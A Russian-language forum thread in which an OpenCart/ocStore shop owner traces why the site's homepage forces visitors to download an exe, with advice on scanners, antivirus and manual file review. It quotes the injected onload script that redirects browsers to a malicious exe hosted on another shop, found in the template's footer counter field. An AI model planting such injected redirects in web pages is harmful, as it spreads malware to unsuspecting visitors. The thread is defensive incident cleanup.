Вирус закачивается на компьютер при открытии сайта

[borborich]

ocstore 2.3.0.2.3 
newstore

При посещении главной страницы сайта, загружается на компьютер exe файл c другого магазина сделаного также на opencart. 
обращение в поддержку хостинга особо не помогло.
Где копать?

[esculapra]

09.10.2022 в 09:27, borborich сказал:

Где копать?

Заходите в панель управления хостинга и ищите измененные файлы, время создания/модификации которых отличается от остальных. 

Известно ли, как называется вредоносный exe?

Змінено 9 жовтня 2022 користувачем esculapra

[buslikdrev]

09.10.2022 в 08:27, borborich сказал:

ocstore 2.3.0.2.3 
newstore

При посещении главной страницы сайта, загружается на компьютер exe файл c другого магазина сделаного также на opencart. 
обращение в поддержку хостинга особо не помогло.
Где копать?

 

https://opencartforum.com/files/file/8788-chistka-saytov-i-serverov-ot-virusov/

[borborich]

09.10.2022 в 08:47, esculapra сказал:

Заходите в панель управления хостинга и ищите измененные файлы, время создания/модификации которых отличается от остальных. 

Известно ли, как называется вредоносный exe?

 

Делал откат на месяц назад, тогда этой проблемы не было, но не помогло.
Файл называется прайслист.exe качается с другого сервера.

[esculapra]

10.10.2022 в 09:37, borborich сказал:

Делал откат на месяц назад

Откат помогает только восстановить предыдущие версии файлов. Но никак не влияет на добавленные. Троян может сидеть в картинках, например. Попробуй установить бесплатный скрипт ai-bolit и поискать с его помощью.  Если вирус закачивается только с главной страницы, то нужно определить от какого модуля это идет, то есть отключать модули и смотреть, чтобы потом сузить область поиска.

[borborich]

10.10.2022 в 09:21, esculapra сказал:

Откат помогает только восстановить предыдущие версии файлов. Но никак не влияет на добавленные. Троян может сидеть в картинках, например. Попробуй установить бесплатный скрипт ai-bolit и поискать с его помощью.  Если вирус закачивается только с главной страницы, то нужно определить от какого модуля это идет, то есть отключать модули и смотреть, чтобы потом сузить область поиска.

Спасибо, сейчас буду делать

 

[borborich]

10.10.2022 в 09:21, esculapra сказал:

Откат помогает только восстановить предыдущие версии файлов. Но никак не влияет на добавленные. Троян может сидеть в картинках, например. Попробуй установить бесплатный скрипт ai-bolit и поискать с его помощью.  Если вирус закачивается только с главной страницы, то нужно определить от какого модуля это идет, то есть отключать модули и смотреть, чтобы потом сузить область поиска.

 

ai-bolt что то пропустил все файлы

[SSHEVA]

10.10.2022 в 13:00, borborich сказал:

 

ai-bolt что то пропустил все файлы

Как бы смешно не звучало, но мне в подобной беде помог, антивирус ПК, скачал сайт на пк и проверил и он нашел 8 картинок, которые были вирусом

Змінено 10 жовтня 2022 користувачем SSHEVA

[borborich]

10.10.2022 в 12:12, SSHEVA сказал:

Как бы смешно не звучало, но мне в подобной беде помог, антивирус ПК, скачал сайт на пк и проверил и он нашел 8 картинок, которые были вирусом

 

каким антивирусом пользовались?

[SSHEVA]

10.10.2022 в 14:16, borborich сказал:

 

каким антивирусом пользовались?

ESET SMART SECURITY PREMIUM

[esculapra]

10.10.2022 в 13:12, SSHEVA сказал:

Как бы смешно не звучало, но мне в подобной беде помог, антивирус ПК

Я еще не успел этого написать. Да, если на сайте плотно поковырялись, то антивирус реально найдет. Айболит должен был найти, но видимо там нет явного кода. Можно попробовать параноидальный режим. Хотя, если это в картинках то может не найти - проще посмотреть исходный код страницы и какие картинки подключаются, а потом сравнить их по времени создания. Картинки также могут подключаться через стили, но тут откат бы все исправил.

Змінено 10 жовтня 2022 користувачем esculapra

[borborich]

ссыль на файл прям в боди вставляется, скачиваю файлы сайта на компьютер чтоб сканировать.

[SSHEVA]

10.10.2022 в 16:44, borborich сказал:

ссыль на файл прям в боди вставляется, скачиваю файлы сайта на компьютер чтоб сканировать.

После проверки антивирусов, если что еще проверьте скрипты и все файлы дизайна в ручную, для ускорения можно еще  Поиск использовать в редакторе.

[borborich]

10.10.2022 в 15:54, SSHEVA сказал:

После проверки антивирусов, если что еще проверьте скрипты и все файлы дизайна в ручную, для ускорения можно еще  Поиск использовать в редакторе.

спасибо, собственно для этого и скачиваю

[borborich]

Антивирус ни чего не находит в файлах, попытки найти в файлах какую либо часть этого хвоста onload="javascript:window.location.href = 'https://f-sladosti.ru/image/НашПрайс2022Dec.exe';">
дают ноль результатов

[SSHEVA]

11.10.2022 в 12:18, borborich сказал:

Антивирус ни чего не находит в файлах, попытки найти в файлах какую либо часть этого хвоста onload="javascript:window.location.href = 'https://f-sladosti.ru/image/НашПрайс2022Dec.exe';">
дают ноль результатов

Тогда нужно смотреть уже сайт, так вслепую сложно сказать

[borborich]

Нашелся в конфигах подвала newstore, теперь бы понять как он туда попал и как этого избежать
@29aleksey есть предположения?
 

[29aleksey]

В настройки шаблона в поле код счетчика прописывается только с админки 

[borborich]

11.10.2022 в 20:38, 29aleksey сказал:

В настройки шаблона в поле код счетчика прописывается только с админки 

 

подозреваю тогда что администратор цен магазина имел троян на компьютере, через который и прописалось туда

[Ecolotos]

В 12.10.2022 в 15:48, borborich сказав:

 

подозреваю тогда что администратор цен магазина имел троян на компьютере, через который и прописалось туда

Звучит это все как фантастика